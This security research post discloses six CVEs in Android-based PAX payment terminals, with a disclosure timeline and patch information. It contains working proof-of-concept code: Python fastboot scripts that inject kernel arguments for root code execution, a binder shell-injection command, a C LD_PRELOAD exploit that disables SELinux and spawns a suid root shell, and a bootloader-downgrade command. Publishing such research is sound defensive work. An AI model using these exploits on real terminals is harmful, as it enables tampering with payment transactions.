Android-based PAX POS vulnerabilities (Part 1)
Banking companies worldwide are finally shifting away from custom-made Point of Sale (POS) devices towards the wildly adopted and battle-tested Android operating system. No more obscure terminals; the era of giant, colorful touchscreens is here! While Android is a secure, hardened OS, implementing and integrating your own features with custom hardware requires a lot of time and effort.
STM Cyber R&D team decided to reverse engineer POS devices made by the worldwide known company PAX Technology, as they are being rapidly deployed in Poland. In this article, we present technical details of 6 vulnerabilities, which were assigned CVEs.
Due to heavy application sandboxing in the Android operating system (the base for the PaxDroid system present on PAX devices), applications can't interfere with each other. Still, some applications require higher privileges to control certain parts of the device, thus they are running as higher-privileged user. However, if an attacker can escalate their privileges to theroot
account, they can tamper with any application, including certain parts of payment operations. While an attacker still can't access decrypted information about the payee (like credit card information), since they are being processed in separate Secure Processor (SP), they can modify data the merchant application sends to the SP, which includes transaction amount. Obtaining access to other high-privileged accounts, such as system
, is also valuable since it makes the attack surface to the root
account much bigger.
While searching for vulnerabilities, STM Cyber focused on 2 attack vectors:
- Local code execution from the bootloader, which doesn't require any privileges other than access to the USB port of the device. While this requires physical access to the device, this is still an interesting attack vector due to the nature of POS devices. Since different PAX POS use different CPU vendors, they also use different bootloaders. We've found CVE-2023-4818 when testing PAX A920, while A920Pro and A50 were vulnerable to CVE-2023-42134 and CVE-2023-42135.
- Privilege escalation to
system
user. Vulnerabilities from this class are present in the PaxDroid system itself thus they are present in almost all Android-based PAX POS devices. CVE-2023-42136 allows for privilege escalation from any user tosystem
account greatly increasing attack surface.
CVE-2023-42133 - Reserved
🙂
CVE-2023-42134 - Signed partition overwrite and subsequently local code execution as root via hidden bootloader command
- Product: PAX A920Pro/PAX A50/PAX A77
- CVSS Score: CVSS 7.6 (AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
- Impact: Local code execution as
root
- Known vulnerable version: PayDroid 8.1.0_Sagittarius_11.1.50_20230314
- Fix verified in: PayDroid 8.1.0_Sagittarius_V02.9.99T9_20230919
- CERT.PL reference: https://cert.pl/en/posts/2024/01/CVE-2023-4818/
By executing the hidden oem paxassert
command in fastboot mode, it's possible to overwrite the unsigned pax1
partition. This results in injection of kernel arguments, resulting in arbitrary code execution. Fastboot flashing handler function first checks if we're trying to flash a special partition:
If the provided partition name is pax1
, and paxAssert
, the configuration will be applied:
pax1
is a special partition that doesn't contain filesystem but behaves more like a configuration map. Certain values from this map are used as kernel parameters (and allow spaces in their values), giving us kernel parameter injection.
Attached below is a PoC script, which chains kernel parameter injection with custom rootfs executed from a fastboot buffer (technique explained in depth here).
from pathlib import Path import sys import tempfile from contextlib import contextmanager from usb1 import USBContext, USBError, USBDeviceHandle # these 4 values may need to be changed on per-product basis: PAX_VID = 0x2fb8 PAX_PID = 0x2240 ep_in = 0x85 ep_out = 0x06 # we assume this will be used only after open_fastboot g_handle: USBDeviceHandle = None # type: ignore def send(bytez: bytes) -> None: print(f"Sending {len(bytez)} {bytez[:0x18]}...") g_handle.bulkWrite(ep_out, bytez) def recv(count: int = 512) -> bytes: data = g_handle.bulkRead(ep_in, count) print("Got status", data) return data def cmd(data: bytes) -> bytes: send(data) return recv() def check_status(expected, received): if received != expected: raise RuntimeError(f"Expected status {expected}, got, {received}") @contextmanager def open_fastboot(*args, **kwargs): with USBContext() as ctx: device = ctx.getByVendorIDAndProductID(PAX_VID, PAX_PID) if device is None: print("Device not found") exit(1) try: global g_handle g_handle = device.open() except USBError: print("Failed to open USB device") exit(1) with g_handle.claimInterface(0): yield def upload_image(path: Path) -> None: total_size = path.stat().st_size send(f"download:{total_size:08x}".encode()) response = recv() check_status(b"DATA", response[:4]) with open(path, "rb") as file: while True: data = file.read(512) if not data: break send(data) response = recv() check_status(b"OKAY", response) def flash(partition_name: str) -> None: check_status(b"OKAY", cmd(f"flash:{partition_name}".encode())) def upload_data(bytez: bytes) -> None: # yes, I know this could be done better but I'm too lazy with tempfile.NamedTemporaryFile() as tmp: tmp.write(bytez) tmp.flush() upload_image(Path(tmp.name)) if __name__ == "__main__": if len(sys.argv) != 2: print("invalid number of parameters, please provide image") sys.exit(1) initrd_image = Path(sys.argv[1]) initrd_size = initrd_image.stat().st_size with open_fastboot(): print("enabling paxassert") upload_data(b"yes\x00") check_status(cmd(b"oem paxassert"), b"OKAY") print("pushing pax1 partition") upload_data(f'LOCALE="pl-PL initrd=0x82000000,{initrd_size}"'.encode()) print("flashing pax1") flash("pax1") print("pushing initrd") upload_image(initrd_image) check_status(b"OKAY", cmd(b"continue"))
CVE-2023-42135 - Local code execution as root via kernel parameter injection in fastboot
- Product: PAX A920Pro/PAX A50/PAX A77
- CVSS Score: CVSS 7.6 (AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
- Impact: Local code execution as
root
- Known vulnerable version: PayDroid 8.1.0_Sagittarius_11.1.50_20230614
- Fix verified in: PayDroid 8.1.0_Sagittarius_V02.9.99T9_20230919
- CERT.PL reference: https://cert.pl/en/posts/2024/01/CVE-2023-4818/
Contents of an unsigned “partition” named exsn
are concatenated to the kernel argument list. By flashing this exsn
partition, it’s possible to inject arbitrary kernel arguments, resulting in arbitrary code execution.
Fastboot flashing handler function, first checks if we’re trying to flash a special partition:
The value of exsn
is passed in to kernel. Since exsn
can be changed to any value, including one with spaces, it possible to inject any kernel parameters.
Attached below is PoC script, which chains kernel parameter injection with custom initroot executed from fastboot buffer (technique explained in depth here).
from pathlib import Path import sys import tempfile from contextlib import contextmanager from usb1 import USBContext, USBError, USBDeviceHandle # these 4 values may need to be changed on per-product basis: PAX_VID = 0x2fb8 PAX_PID = 0x2240 ep_in = 0x85 ep_out = 0x06 # we assume this will be used only after open_fastboot g_handle: USBDeviceHandle = None # type: ignore def send(bytez: bytes) -> None: print(f"Sending {len(bytez)} {bytez[:0x18]}...") g_handle.bulkWrite(ep_out, bytez) def recv(count: int = 512) -> bytes: data = g_handle.bulkRead(ep_in, count) print("Got status", data) return data def cmd(data: bytes) -> bytes: send(data) return recv() def check_status(expected, received): if received != expected: raise RuntimeError(f"Expected status {expected}, got, {received}") @contextmanager def open_fastboot(*args, **kwargs): with USBContext() as ctx: device = ctx.getByVendorIDAndProductID(PAX_VID, PAX_PID) if device is None: print("Device not found") exit(1) try: global g_handle g_handle = device.open() except USBError: print("Failed to open USB device") exit(1) with g_handle.claimInterface(0): yield def upload_image(path: Path) -> None: total_size = path.stat().st_size send(f"download:{total_size:08x}".encode()) response = recv() check_status(b"DATA", response[:4]) with open(path, "rb") as file: while True: data = file.read(512) if not data: break send(data) response = recv() check_status(b"OKAY", response) def flash(partition_name: str) -> None: check_status(b"OKAY", cmd(f"flash:{partition_name}".encode())) def upload_data(bytez: bytes) -> None: # yes, I know this could be done better but I'm too lazy with tempfile.NamedTemporaryFile() as tmp: tmp.write(bytez) tmp.flush() upload_image(Path(tmp.name)) if __name__ == "__main__": if len(sys.argv) != 2: print("invalid number of parameters, please provide image") sys.exit(1) initrd_image = Path(sys.argv[1]) initrd_size = initrd_image.stat().st_size with open_fastboot(): exsn = get_exsn() initrd_size = initrd_image.stat().st_size exsn_data = exsn + b" initrd=0x82000000," + str(int(initrd_size)).encode() print("exsn_data:", exsn_data) print("pushing exsn") upload_data(exsn_data) print("flashing exsn") flash("exsn") print("pushing initrd") upload_image(initrd_image) check_status(b"OKAY", cmd(b"continue"))
CVE-2023-42136 - Privilege escalation from any user/application to system user via shell injection binder-exposed service
- Product: All Android-based PAX POS devices
- CVSS Score: CVSS 8.8 (AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
- Impact: Privilege escalation from any user/application to
system
user - Known vulnerable version: PayDroid 11.1.50_20230614
- Fix verified in: PayDroid V02.9.99T9_20230919
- CERT.PL reference: https://cert.pl/en/posts/2024/01/CVE-2023-4818/
Android service named PaxSmartDeviceServcie
(typo intended) is vulnerable to shell injection, escalating any user to system
account. While it checks if the command starts with dumpsys
, this check can be trivially bypassed by passing in dumpsys; command
as an argument.
adb shell "service call PaxSmartDeviceServcie 16 s16 'dumpsysx; id > /data/local/tmp/win'"
CVE-2023-42137 - Privilege escalation from system/shell user to root via insecure operations in systool_server daemon
- Product: All Android-based PAX POS devices
- CVSS Score: CVSS 8.8 (AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
- Impact: Privilege escalation from
system
/shell
user toroot
user - Known vulnerable version: PayDroid 11.1.50_20230614
- Fixed verified in: PayDroid V02.9.99T9_20230919
- CERT.PL reference: https://cert.pl/en/posts/2024/01/CVE-2023-4818/
systool_server
is a daemon exposed via binder running with root privileges. It exposes an API for execution of miniunz
command with user controller input and output directory. An attacker can inject an arbitrary amount of parameters, including additional command flags. Furthermore, given that the attacker has control over both the source directory and the destination directory (
), they can manipulate this situation by crafting malicious symbolic links within the /tmp
/tmp
directory. This allows the attacker to overwrite arbitrary files, potentially leading to the escalation of privileges. By overwriting specific files within the /data
partition, the attacker may exploit this vulnerability to assume the privileges of a system
user, thereby hijacking an application that runs with system-level privileges.
systool_server
performs multiple checks to verify caller uid and binary to ensure only verified binaries are using this API. These checks can be bypassed using good old LD_PRELOAD
. Finally, to pop a fully interactive shell, we use mount without nosuid
to create a suid binary. See the code below for PoC:
#include <errno.h> #include <fcntl.h> #include <inttypes.h> #include <stdlib.h> #include <string.h> #include <stdio.h> #include <dlfcn.h> #include <unistd.h> #include "binder.h" struct binder_state *g_binder_state; uint32_t target; int binder_init() { struct binder_state* bs; bs = binder_open(128*1024); if (!bs) { fprintf(stderr, "failed to open binder driver\n"); return -1; } char b[0x200]; struct binder_io a; struct binder_io c; bio_init(&a, &b, 0x200, 4); bio_put_uint32(&a, 0); bio_put_string16_x(&a, "android.os.IServiceManager"); bio_put_string16_x(&a, "systool_binder"); int status = binder_call(bs, &a, &c, 0, 2); if (status == 0) { int status2 = bio_get_ref(&c); if (status2 != 0) { target = status2; binder_acquire(bs, status2); } binder_done(bs, &a, &c); } g_binder_state = bs; return 0; } void systoolExecShellCmdV2(char* src) { struct binder_io msg; struct binder_io reply; char buf[0x200]; bio_init(&msg, buf, 0x200, 4); bio_put_uint32(&msg, 0); bio_put_string16_x(&msg, "SystoolBinder"); bio_put_uint32(&msg, 3); // cmd bio_put_uint32(&msg, 1); // subcmd bio_put_uint32(&msg, 1); // num arguments bio_put_string16_x(&msg, src); int status = binder_call(g_binder_state, &msg, &reply, target, 18); if (status == 0) { int ret1 = bio_get_uint32(&reply); int ret2 = bio_get_uint32(&reply); binder_done(g_binder_state, &msg, &reply); printf("ExecShellCmdV2: ret1=%d ret2=%d\n", ret1, ret2); } } int executed = 0; int printf(const char* __fmt, ...) { if (executed) return 0; executed = 1; pid_t pid = getpid(); fprintf(stderr, "[*] Hello from PID %d\n", pid); char linkbuf[0x100]; readlink("/proc/self/exe", linkbuf, 0x100); fprintf(stderr, "[*] /proc/self/exe is pointing at %s\n", linkbuf); binder_init(); // prep system("rm /tmp/monitor.bin"); fprintf(stderr, "[*] disabling fs selinux\n"); system("ln -s /sys/fs/selinux/enforce /tmp/monitor.bin"); system("echo -n '0' > /data/local/tmp/zero"); systoolExecShellCmdV2("/data/local/tmp/zero"); // cleanup system("rm /data/local/tmp/zero"); system("rm /tmp/monitor.bin"); fprintf(stderr, "[*] setting up suid\n"); system("chmod +s /data/local/tmp/escalate"); fprintf(stderr, "[*] copying suid to /mnt\n"); system("ln -s /mnt/escalate /tmp/monitor.bin"); systoolExecShellCmdV2("/data/local/tmp/escalate"); // cleanup system("rm /tmp/monitor.bin"); fprintf(stderr, "[*] spawning shell\n"); execve("/mnt/escalate", NULL, NULL); return 0; }
CVE-2023-4818 - Bootloader downgrade via improper tokenization
- Product: PAX A920
- CVSS Score: CVSS 7.3 (AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
- Impact: Bootloader can be downgraded to a vulnerable version, resulting in local code execution as
root
- Known vulnerable version: PayDroid 7.1.2_Aquarius_11.1.50_20230614
- Fix verified in: PayDroid 7.1.2_Aquarius_V02.9.99T9_20230919
- CERT.PL reference: https://cert.pl/en/posts/2024/01/CVE-2023-4818/
By switching to fastboot mode and flashing a partition named aboot:
, it’s possible to downgrade the bootloader to a previously vulnerable, signed version (version check is skipped).
We skip the signature and version check since aboot:
does not match any known partition name:
Then, the provided name is tokenized with :
- ending up with just aboot
. This way, we can bypass the version check and downgrade the bootloader.
fastboot flash 'aboot:' aboot.img
Disclosure timeline
- 07/04/2023 - first contact with vendor briefly describing vulnerabilities (no reply)
- 08/05/2023 - second attempt of contact with vendor (successful)
- 10/05/2023 - sent technical details explaining all vulnerabilities (with PoC)
- 01/08/2023 - contacted CERT.PL to assign CVEs (instant reply)
- 09/10/2023 - further contact with PAX to fix found vulnerabilities
- 30/11/2023 - STM Cyber verifies patches
- 15/01/2024 - Public release